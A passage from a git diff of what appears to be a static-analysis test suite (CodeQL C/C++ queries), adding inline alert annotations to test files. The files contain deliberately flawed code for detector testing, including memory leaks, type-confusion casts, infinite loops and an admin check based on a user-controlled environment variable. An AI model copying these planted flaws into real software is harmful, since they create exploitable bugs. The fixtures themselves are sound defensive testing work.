*)malloc(1); // unreliably freed in destructor (BAD) [NOT REPORTED] - c = (char *)malloc(1); // never freed in destructor (BAD) + c = (char *)malloc(1); // never freed in destructor (BAD) // $ Alert[cpp/memory-never-freed] } void myAllocMethod(int amount) @@ -196,9 +196,9 @@ void test13() void *a = new int; // new, delete (GOOD) void *b = new char[10]; // new, delete (GOOD) char *c = new char[20]; // new, delete (GOOD) - void *d = new int; // new, don't delete (BAD) - void *e = new char[10]; // new, don't delete (BAD) - char *f = new char[20]; // new, don't delete (BAD) + void *d = new int; // new, don't delete (BAD) // $ Alert[cpp/memory-never-freed] + void *e = new char[10]; // new, don't delete (BAD) // $ Alert[cpp/memory-never-freed] + char *f = new char[20]; // new, don't delete (BAD) // $ Alert[cpp/memory-never-freed] delete (int *)a; delete [] (int *)b; @@ -232,26 +232,26 @@ void test14() ff(a); // alloc, don't free via function pointer (BAD) - b = af(2000); + b = af(2000); // $ Alert[cpp/memory-may-not-be-freed] } void test15() { void *ptr1, *ptr2, *ptr3; - ptr1 = realloc(NULL, 10); // alloc 10 bytes (BAD - not freed if the next realloc fails) + ptr1 = realloc(NULL, 10); // alloc 10 bytes (BAD - not freed if the next realloc fails) // $ Alert[cpp/memory-may-not-be-freed] ptr1 = realloc(ptr1, 20); // realloc 20 bytes (GOOD) ptr1 = realloc(ptr1, 0); // free (GOOD) - ptr2 = realloc(NULL, 10); // alloc 10 bytes (BAD - only freed if the call below succeeds) - ptr2 = realloc(ptr2, 20); // realloc 20 bytes, never free (BAD) + ptr2 = realloc(NULL, 10); // alloc 10 bytes (BAD - only freed if the call below succeeds) // $ Alert[cpp/memory-may-not-be-freed] + ptr2 = realloc(ptr2, 20); // realloc 20 bytes, never free (BAD) // $ Alert[cpp/memory-may-not-be-freed] - ptr3 = realloc(NULL, 10); // alloc 10 bytes, never free (BAD) + ptr3 = realloc(NULL, 10); // alloc 10 bytes, never free (BAD) // $ Alert[cpp/memory-never-freed] } void test16(int cond) { - void *ptr = malloc(1024); // not always freed (BAD) + void *ptr = malloc(1024); // not always freed (BAD) // $ Alert[cpp/memory-may-not-be-freed] if (ptr) { if (cond) @@ -271,7 +271,7 @@ void test16(int cond) void test17(int cond) { // malloc, sometimes free (BAD: ptr is not always freed) - void *ptr = malloc(1024); + void *ptr = malloc(1024); // $ Alert[cpp/memory-may-not-be-freed] if (cond == 0) { @@ -284,7 +284,7 @@ void test17(int cond) void test18(int cond) { // malloc, sometimes free (BAD: ptr is not always freed) - void *ptr = malloc(1024); + void *ptr = malloc(1024); // $ Alert[cpp/memory-may-not-be-freed] if (cond == 0) { @@ -352,12 +352,12 @@ void test22(int cond) { // new, don't delete (BAD) - Vector3 *myVector2 = new Vector3(1.0f, 2.0f, 3.0f); + Vector3 *myVector2 = new Vector3(1.0f, 2.0f, 3.0f); // $ Alert[cpp/memory-never-freed] } { // new, sometimes delete (BAD) - Vector3 *myVector3 = new Vector3(1.0f, 2.0f, 3.0f); + Vector3 *myVector3 = new Vector3(1.0f, 2.0f, 3.0f); // $ Alert[cpp/memory-may-not-be-freed] if (cond) { delete myVector3; @@ -379,7 +379,7 @@ void test23() { { // malloc, free incorrectly (BAD) - char *buffer = (char *)malloc(100); + char *buffer = (char *)malloc(100); // $ Alert[cpp/memory-may-not-be-freed] free(buffer + 10); } @@ -394,7 +394,7 @@ void test23() { // new, delete incorrectly - container *c = new container; // BAD: not deleted + container *c = new container; // BAD: not deleted // $ Alert[cpp/memory-never-freed] c->thingPtr = new thing; delete c->thingPtr; @@ -448,7 +448,7 @@ void test25() } realloc(ptr2, 0); // equivalent to free(ptr2) (GOOD) - ptr3 = realloc(NULL, 10); // alloc 10 bytes (BAD - not freed if next realloc fails) + ptr3 = realloc(NULL, 10); // alloc 10 bytes (BAD - not freed if next realloc fails) // $ Alert[cpp/memory-may-not-be-freed] ptr4 = realloc(ptr3, 20); // realloc 20 bytes (GOOD) if (ptr4 != NULL) // (this checks for success instead of failure!) { @@ -457,7 +457,7 @@ void test25() } realloc(ptr4, 0); // equivalent to free(ptr4) (GOOD) - ptr5 = realloc(NULL, 10); // alloc 10 bytes (BAD - not freed if the next realloc fails) + ptr5 = realloc(NULL, 10); // alloc 10 bytes (BAD - not freed if the next realloc fails) // $ Alert[cpp/memory-may-not-be-freed] ptr6 = realloc(ptr5, 20); // realloc 20 bytes (GOOD) ptr7 = realloc(ptr6, 0); // free (GOOD) } @@ -519,10 +519,10 @@ void test27() { void *ptr = NULL; - ptr = realloc(ptr, 10); // BAD (not freed if the second realloc fails) + ptr = realloc(ptr, 10); // BAD (not freed if the second realloc fails) // $ Alert[cpp/memory-may-not-be-freed] if (ptr != NULL) { - ptr = realloc(ptr, 20); // BAD (not freed) + ptr = realloc(ptr, 20); // BAD (not freed) // $ Alert[cpp/memory-may-not-be-freed] if (ptr != NULL) { dostuff(); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-807/semmle/TaintedCondition/TaintedCondition.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-807/semmle/TaintedCondition/TaintedCondition.qlref index bb8c6c324a30..b12367abe280 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-807/semmle/TaintedCondition/TaintedCondition.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-807/semmle/TaintedCondition/TaintedCondition.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-807/TaintedCondition.ql \ No newline at end of file +query: Security/CWE/CWE-807/TaintedCondition.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-807/semmle/TaintedCondition/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-807/semmle/TaintedCondition/test.cpp index 641cbaa7be7d..2f7eaa12ccad 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-807/semmle/TaintedCondition/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-807/semmle/TaintedCondition/test.cpp @@ -17,11 +17,11 @@ const char *currentUser; void processRequest() { - const char *userName = getenv("USER_NAME"); + const char *userName = getenv("USER_NAME"); // $ Source // BAD: the condition is controllable by the user, and // the body of the if makes a security decision. - if (!strcmp(userName, "admin")) { + if (!strcmp(userName, "admin")) { // $ Alert adminPrivileges = 1; } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-835/semmle/InfiniteLoopWithUnsatisfiableExitCondition/InfiniteLoopWithUnsatisfiableExitCondition.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-835/semmle/InfiniteLoopWithUnsatisfiableExitCondition/InfiniteLoopWithUnsatisfiableExitCondition.qlref index cef3e6686eac..e734453a5d94 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-835/semmle/InfiniteLoopWithUnsatisfiableExitCondition/InfiniteLoopWithUnsatisfiableExitCondition.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-835/semmle/InfiniteLoopWithUnsatisfiableExitCondition/InfiniteLoopWithUnsatisfiableExitCondition.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-835/InfiniteLoopWithUnsatisfiableExitCondition.ql \ No newline at end of file +query: Security/CWE/CWE-835/InfiniteLoopWithUnsatisfiableExitCondition.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-835/semmle/InfiniteLoopWithUnsatisfiableExitCondition/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-835/semmle/InfiniteLoopWithUnsatisfiableExitCondition/test.cpp index 4ff375910036..7d6b3585df2d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-835/semmle/InfiniteLoopWithUnsatisfiableExitCondition/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-835/semmle/InfiniteLoopWithUnsatisfiableExitCondition/test.cpp @@ -5,7 +5,7 @@ void test00(int n) { } while (1) { // BAD: condition is never true, so loop will not terminate. - if (i == n) { + if (i == n) { // $ Alert break; } } @@ -18,7 +18,7 @@ void test01(int n) { } for (;;) { // BAD: condition is never true, so loop will not terminate. - if (i == n) { + if (i == n) { // $ Alert break; } } @@ -59,7 +59,7 @@ int test05() { int result = 0; // BAD: loop condition is always true. - for (i = 0; i >= 0; i = (i + 1) % 256) + for (i = 0; i >= 0; i = (i + 1) % 256) // $ Alert { result++; } @@ -108,7 +108,7 @@ void test08(int n) { for (i = 0;;) { // BAD: condition is never true, so loop will not terminate. - if (i == n) { + if (i == n) { // $ Alert break; } @@ -124,7 +124,7 @@ void test09(char *str) { { c = *(str++); - if (c < 'a' && c > 'z') // BAD: this condition is always false. + if (c < 'a' && c > 'z') // BAD: this condition is always false. // $ Alert return; } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-843/TypeConfusion.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-843/TypeConfusion.qlref index 53b17f1e1fda..b0034e45821a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-843/TypeConfusion.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-843/TypeConfusion.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-843/TypeConfusion.ql \ No newline at end of file +query: Security/CWE/CWE-843/TypeConfusion.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-843/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-843/test.cpp index 982496218ffa..00f56700d55a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-843/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-843/test.cpp @@ -24,13 +24,13 @@ void test2() { } void test3() { - void* p = new S1; - Not_S1_wrapper* s1w = static_cast(p); // BAD + void* p = new S1; // $ Source + Not_S1_wrapper* s1w = static_cast(p); // BAD // $ Alert } void test4() { - void* p = new Not_S1_wrapper; - S1* s1 = static_cast(p); // BAD + void* p = new Not_S1_wrapper; // $ Source + S1* s1 = static_cast(p); // BAD // $ Alert } struct HasBitFields { @@ -63,8 +63,8 @@ struct Dog : public Animal { }; void test6() { - Animal* a = new Cat; - Dog* d = static_cast(a); // BAD + Animal* a = new Cat; // $ Source + Dog* d = static_cast(a); // BAD // $ Alert } void test7() { @@ -124,8 +124,8 @@ struct Not_S2_prefix { }; void test11() { - S2* s2 = new S2; - Not_S2_prefix* s2p = reinterpret_cast(s2); // BAD + S2* s2 = new S2; // $ Source + Not_S2_prefix* s2p = reinterpret_cast(s2); // BAD // $ Alert } struct HasSomeBitFields { @@ -140,9 +140,9 @@ void test12() { S1* s1 = new S1; HasBitFields* hbf = reinterpret_cast(s1); // BAD [NOT DETECTED] - S1* s1_2 = new S1; + S1* s1_2 = new S1; // $ Source // This one has a non-bitfield members. So we detect the problem - HasSomeBitFields* hbf2 = reinterpret_cast(s1_2); // BAD + HasSomeBitFields* hbf2 = reinterpret_cast(s1_2); // BAD // $ Alert } void test13(bool b, Cat* c) { @@ -150,13 +150,13 @@ void test13(bool b, Cat* c) { if(b) { a = c; } else { - a = new Dog; + a = new Dog; // $ Source } // This FP happens despite the `not GoodFlow::flowTo(sinkNode)` condition in the query // because we don't find a flow path from `a = c` to `static_cast(a)` because // the "source" (i.e., `a = c`) doesn't have an allocation. if(b) { - Cat* d = static_cast(a); // GOOD [FALSE POSITIVE] + Cat* d = static_cast(a); // GOOD [FALSE POSITIVE] // $ Alert } } @@ -184,9 +184,9 @@ void test14() { struct UInt8_with_more { UInt8 u8; void* p; }; void test15() { - void* u64 = new UInt64; + void* u64 = new UInt64; // $ Source // ... - UInt8_with_more* u8 = (UInt8_with_more*)u64; // BAD + UInt8_with_more* u8 = (UInt8_with_more*)u64; // BAD // $ Alert } struct SingleInt { @@ -214,8 +214,8 @@ struct UnrelatedStructSize { }; void test17() { - void* p = new S1; - UnrelatedStructSize* uss = static_cast(p); // BAD + void* p = new S1; // $ Source + UnrelatedStructSize* uss = static_cast(p); // BAD // $ Alert } struct TooLargeBufferSize { @@ -223,8 +223,8 @@ struct TooLargeBufferSize { }; void test18() { - void* p = new S1; - TooLargeBufferSize* uss = static_cast(p); // BAD + void* p = new S1; // $ Source + TooLargeBufferSize* uss = static_cast(p); // BAD // $ Alert } // semmle-extractor-options: --gcc -std=c++11 \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Summary/LinesOfCode.qlref b/cpp/ql/test/query-tests/Summary/LinesOfCode.qlref index b60eb7917224..d22b10044239 100644 --- a/cpp/ql/test/query-tests/Summary/LinesOfCode.qlref +++ b/cpp/ql/test/query-tests/Summary/LinesOfCode.qlref @@ -1 +1 @@ -Summary/LinesOfCode.ql +query: Summary/LinesOfCode.ql diff --git a/cpp/ql/test/query-tests/Summary/LinesOfUserCode.qlref b/cpp/ql/test/query-tests/Summary/LinesOfUserCode.qlref index baaa947e6afa..99a6d1324943 100644 --- a/cpp/ql/test/query-tests/Summary/LinesOfUserCode.qlref +++ b/cpp/ql/test/query-tests/Summary/LinesOfUserCode.qlref @@ -1 +1 @@ -Summary/LinesOfUserCode.ql +query: Summary/LinesOfUserCode.ql diff --git a/cpp/ql/test/query-tests/definitions/definitions.qlref b/cpp/ql/test/query-tests/definitions/definitions.qlref index 7b600c094b54..89fab02d1037 100644 --- a/cpp/ql/test/query-tests/definitions/definitions.qlref +++ b/cpp/ql/test/query-tests/definitions/definitions.qlref @@ -1 +1 @@ -definitions.ql +query: definitions.ql diff --git a/cpp/ql/test/query-tests/jsf/3.02 Code Size and Complexity/AV Rule 1/AV Rule 1.c b/cpp/ql/test/query-tests/jsf/3.02 Code Size and Complexity/AV Rule 1/AV Rule 1.c index ff4e5ad15a47..1d63e5531a52 100644 --- a/cpp/ql/test/query-tests/jsf/3.02 Code Size and Complexity/AV Rule 1/AV Rule 1.c +++ b/cpp/ql/test/query-tests/jsf/3.02 Code Size and Complexity/AV Rule 1/AV Rule 1.c @@ -408,7 +408,7 @@ void justStillGood(int x) { justStillGood(199); } -void bad(int x) { +void bad(int x) { // $ Alert bad(2); bad(3); bad(4); diff --git a/cpp/ql/test/query-tests/jsf/3.02 Code Size and Complexity/AV Rule 1/AV Rule 1.qlref b/cpp/ql/test/query-tests/jsf/3.02 Code Size and Complexity/AV Rule 1/AV Rule 1.qlref index e2fb899048e0..e3c6654bd843 100644 --- a/cpp/ql/test/query-tests/jsf/3.02 Code Size and Complexity/AV Rule 1/AV Rule 1.qlref +++ b/cpp/ql/test/query-tests/jsf/3.02 Code Size and Complexity/AV Rule 1/AV Rule 1.qlref @@ -1 +1,2 @@ -jsf/3.02 Code Size and Complexity/AV Rule 1.ql +query: jsf/3.02 Code Size and Complexity/AV Rule 1.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.04 Environment/AV Rule 13/AV Rule 13.qlref b/cpp/ql/test/query-tests/jsf/4.04 Environment/AV Rule 13/AV Rule 13.qlref index b3267de7b8a9..36002b9e0459 100644 --- a/cpp/ql/test/query-tests/jsf/4.04 Environment/AV Rule 13/AV Rule 13.qlref +++ b/cpp/ql/test/query-tests/jsf/4.04 Environment/AV Rule 13/AV Rule 13.qlref @@ -1 +1,2 @@ -jsf/4.04 Environment/AV Rule 13.ql +query: jsf/4.04 Environment/AV Rule 13.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.04 Environment/AV Rule 13/test.cpp b/cpp/ql/test/query-tests/jsf/4.04 Environment/AV Rule 13/test.cpp index cd11861c4ec6..4d87c501c8e8 100644 --- a/cpp/ql/test/query-tests/jsf/4.04 Environment/AV Rule 13/test.cpp +++ b/cpp/ql/test/query-tests/jsf/4.04 Environment/AV Rule 13/test.cpp @@ -2,9 +2,9 @@ int main() { const char *const_str = ""; - const wchar_t *const_wstr = L""; // BAD + const wchar_t *const_wstr = L""; // BAD // $ Alert char c = 'c'; - wchar_t wc = L'c'; // BAD + wchar_t wc = L'c'; // BAD // $ Alert return 0; } diff --git a/cpp/ql/test/query-tests/jsf/4.06 Pre-Processing Directives/AV Rule 32/AV Rule 32.qlref b/cpp/ql/test/query-tests/jsf/4.06 Pre-Processing Directives/AV Rule 32/AV Rule 32.qlref index 5ae78414335a..e06ec8cac8b6 100644 --- a/cpp/ql/test/query-tests/jsf/4.06 Pre-Processing Directives/AV Rule 32/AV Rule 32.qlref +++ b/cpp/ql/test/query-tests/jsf/4.06 Pre-Processing Directives/AV Rule 32/AV Rule 32.qlref @@ -1 +1,2 @@ -jsf/4.06 Pre-Processing Directives/AV Rule 32.ql +query: jsf/4.06 Pre-Processing Directives/AV Rule 32.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.06 Pre-Processing Directives/AV Rule 32/test.c b/cpp/ql/test/query-tests/jsf/4.06 Pre-Processing Directives/AV Rule 32/test.c index 1c4bb4a99133..21f16d449b6e 100644 --- a/cpp/ql/test/query-tests/jsf/4.06 Pre-Processing Directives/AV Rule 32/test.c +++ b/cpp/ql/test/query-tests/jsf/4.06 Pre-Processing Directives/AV Rule 32/test.c @@ -1,4 +1,4 @@ #include "test.H" // GOOD #include "test.xpm" // GOOD -#include "test2.c" // BAD +#include "test2.c" // BAD // $ Alert #include "test.def" // GOOD diff --git a/cpp/ql/test/query-tests/jsf/4.07 Header Files/AV Rule 35/AV Rule 35.qlref b/cpp/ql/test/query-tests/jsf/4.07 Header Files/AV Rule 35/AV Rule 35.qlref index 57b4d1283c7f..729eeaf1071f 100644 --- a/cpp/ql/test/query-tests/jsf/4.07 Header Files/AV Rule 35/AV Rule 35.qlref +++ b/cpp/ql/test/query-tests/jsf/4.07 Header Files/AV Rule 35/AV Rule 35.qlref @@ -1 +1 @@ -jsf/4.07 Header Files/AV Rule 35.ql +query: jsf/4.07 Header Files/AV Rule 35.ql diff --git a/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 53.1.qlref b/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 53.1.qlref index a39a710f34e2..e7c382bff878 100644 --- a/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 53.1.qlref +++ b/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 53.1.qlref @@ -1 +1,2 @@ -jsf/4.09 Style/AV Rule 53.1.ql +query: jsf/4.09 Style/AV Rule 53.1.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 53.qlref b/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 53.qlref index 285ffc692c76..10d7349f3073 100644 --- a/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 53.qlref +++ b/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 53.qlref @@ -1 +1 @@ -jsf/4.09 Style/AV Rule 53.ql +query: jsf/4.09 Style/AV Rule 53.ql diff --git a/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 54.qlref b/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 54.qlref index 5aae2758b1c9..813d3f75e641 100644 --- a/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 54.qlref +++ b/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/AV Rule 54.qlref @@ -1 +1 @@ -jsf/4.09 Style/AV Rule 54.ql +query: jsf/4.09 Style/AV Rule 54.ql diff --git a/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/test.c b/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/test.c index 47c2408c2fb9..1985c5ad67b8 100644 --- a/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/test.c +++ b/cpp/ql/test/query-tests/jsf/4.09 Style/AV Rule 53 54/test.c @@ -1,4 +1,4 @@ #include "test" #include "test.abc" #include "test.H" -#include "test'.h" +#include "test'.h" // $ Alert[cpp/jsf/av-rule-53-1] diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/AV Rule 73.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/AV Rule 73.cpp index bc21219cab82..dee5e477a80d 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/AV Rule 73.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/AV Rule 73.cpp @@ -1,7 +1,7 @@ class MyClass1 { public: - MyClass1() { // BAD + MyClass1() { // BAD // $ Alert x = 1; } diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/AV Rule 73.qlref b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/AV Rule 73.qlref index 6ed93402c8b4..60e5fd779888 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/AV Rule 73.qlref +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/AV Rule 73.qlref @@ -1 +1,2 @@ -jsf/4.10 Classes/AV Rule 73.ql +query: jsf/4.10 Classes/AV Rule 73.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/original.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/original.cpp index 5c86702e2c26..d0c823c22121 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/original.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 73/original.cpp @@ -11,7 +11,7 @@ class Bad int cmp(const Bad& that); }; -Bad::Bad() : key(-1) // non-compliant +Bad::Bad() : key(-1) // non-compliant // $ Alert { } @@ -73,7 +73,7 @@ class AlsoGood char getChar(); }; -AlsoGood::AlsoGood() // compliant [FALSE POSITIVE] +AlsoGood::AlsoGood() // compliant [FALSE POSITIVE] // $ Alert { cp = 0; } diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 76/AV Rule 76.qlref b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 76/AV Rule 76.qlref index a878bda77997..d314f74ada73 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 76/AV Rule 76.qlref +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 76/AV Rule 76.qlref @@ -1 +1,2 @@ -jsf/4.10 Classes/AV Rule 76.ql +query: jsf/4.10 Classes/AV Rule 76.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 76/test.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 76/test.cpp index 0c5e40e7b912..b90069862a29 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 76/test.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 76/test.cpp @@ -2,7 +2,7 @@ class Class1 // good: no pointer members, default assignment operator and copy c { }; -class Class2 // bad: pointer members, default assignment operator and copy constructor +class Class2 // bad: pointer members, default assignment operator and copy constructor // $ Alert { private: int* _a; @@ -13,7 +13,7 @@ class Class2 // bad: pointer members, default assignment operator and copy const } }; -class Class3 // bad: pointer members, custom assignment operator and default copy constructor +class Class3 // bad: pointer members, custom assignment operator and default copy constructor // $ Alert { private: int* _a; @@ -30,7 +30,7 @@ class Class3 // bad: pointer members, custom assignment operator and default cop } }; -class Class4 // bad: pointer members, default assignment operator and custom copy constructor +class Class4 // bad: pointer members, default assignment operator and custom copy constructor // $ Alert { private: int* _a; diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 77.1/AV Rule 77.1.qlref b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 77.1/AV Rule 77.1.qlref index 5fe2b71b701b..7ccb2e198843 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 77.1/AV Rule 77.1.qlref +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 77.1/AV Rule 77.1.qlref @@ -1 +1,2 @@ -jsf/4.10 Classes/AV Rule 77.1.ql +query: jsf/4.10 Classes/AV Rule 77.1.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 77.1/test.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 77.1/test.cpp index e9e917c840fb..ceeb03948e8c 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 77.1/test.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 77.1/test.cpp @@ -7,7 +7,7 @@ class C2 { }; class C3 { - C3(const C3& c, int i = 1); // error + C3(const C3& c, int i = 1); // error // $ Alert }; namespace templates { diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 78/AV Rule 78.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 78/AV Rule 78.cpp index 7612ac07c8ce..e2b79ae37bf0 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 78/AV Rule 78.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 78/AV Rule 78.cpp @@ -53,7 +53,7 @@ struct Base_Virtual_VirtualDtor virtual void VirtualFunction(); }; -struct Base_Virtual_NonVirtualDtor +struct Base_Virtual_NonVirtualDtor // $ Alert { ~Base_Virtual_NonVirtualDtor(); virtual void VirtualFunction(); @@ -65,7 +65,7 @@ struct Base_Virtual_ImplicitDtor virtual void VirtualFunction(); }; -struct Base_Virtual_NonVirtualDtorWithDefinition +struct Base_Virtual_NonVirtualDtorWithDefinition // $ Alert { ~Base_Virtual_NonVirtualDtorWithDefinition(); virtual void VirtualFunction(); @@ -75,7 +75,7 @@ Base_Virtual_NonVirtualDtorWithDefinition::~Base_Virtual_NonVirtualDtorWithDefin { } -struct Base_Virtual_NonVirtualDtorWithInlineDefinition +struct Base_Virtual_NonVirtualDtorWithInlineDefinition // $ Alert { ~Base_Virtual_NonVirtualDtorWithInlineDefinition() { diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 78/AV Rule 78.qlref b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 78/AV Rule 78.qlref index 419d3f69cc58..6c416c54edfe 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 78/AV Rule 78.qlref +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 78/AV Rule 78.qlref @@ -1 +1,2 @@ -jsf/4.10 Classes/AV Rule 78.ql +query: jsf/4.10 Classes/AV Rule 78.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/AV Rule 79.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/AV Rule 79.cpp index 6fb9815dd742..d2267748984d 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/AV Rule 79.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/AV Rule 79.cpp @@ -43,23 +43,23 @@ class MyClass MyClass() { myPtr1 = new int; // GOOD - myPtr2 = new int; // BAD: not deleted in destructor + myPtr2 = new int; // BAD: not deleted in destructor // $ Alert myPtr3 = (int *)malloc(sizeof(int)); // GOOD - myPtr4 = (int *)malloc(sizeof(int)); // BAD: not freed in destructor - myPtr5 = new int; // BAD: deleted in close but not in destructor - myPtr6 = (int *)malloc(sizeof(int)); // BAD: freed in close but not in destructor + myPtr4 = (int *)malloc(sizeof(int)); // BAD: not freed in destructor // $ Alert + myPtr5 = new int; // BAD: deleted in close but not in destructor // $ Alert + myPtr6 = (int *)malloc(sizeof(int)); // BAD: freed in close but not in destructor // $ Alert myAutoPtr = new int; // GOOD myFile1 = fopen("file1.txt", "rt"); // GOOD - myFile2 = fopen("file2.txt", "rt"); // BAD: not closed in destructor + myFile2 = fopen("file2.txt", "rt"); // BAD: not closed in destructor // $ Alert - myArray1 = (int *)calloc(100, sizeof(int)); // BAD: not freed in destructor - myArray2 = new int[100]; // BAD: not deleted in destructor + myArray1 = (int *)calloc(100, sizeof(int)); // BAD: not freed in destructor // $ Alert + myArray2 = new int[100]; // BAD: not deleted in destructor // $ Alert myArray3 = new int[100]; // GOOD: deleted in destructor myPtr7 = (int*)realloc(0, sizeof(int)); // GOOD: freed below (assuming the realloc succeeds) - myPtr8 = (int*)realloc(myPtr7, sizeof(int)); // BAD: not freed in destructor + myPtr8 = (int*)realloc(myPtr7, sizeof(int)); // BAD: not freed in destructor // $ Alert } ~MyClass() diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/AV Rule 79.qlref b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/AV Rule 79.qlref index 34b54bccd467..23a70aede929 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/AV Rule 79.qlref +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/AV Rule 79.qlref @@ -1 +1,2 @@ -jsf/4.10 Classes/AV Rule 79.ql +query: jsf/4.10 Classes/AV Rule 79.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Container2.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Container2.cpp index 6961a8d35526..84216aa838cb 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Container2.cpp +++ 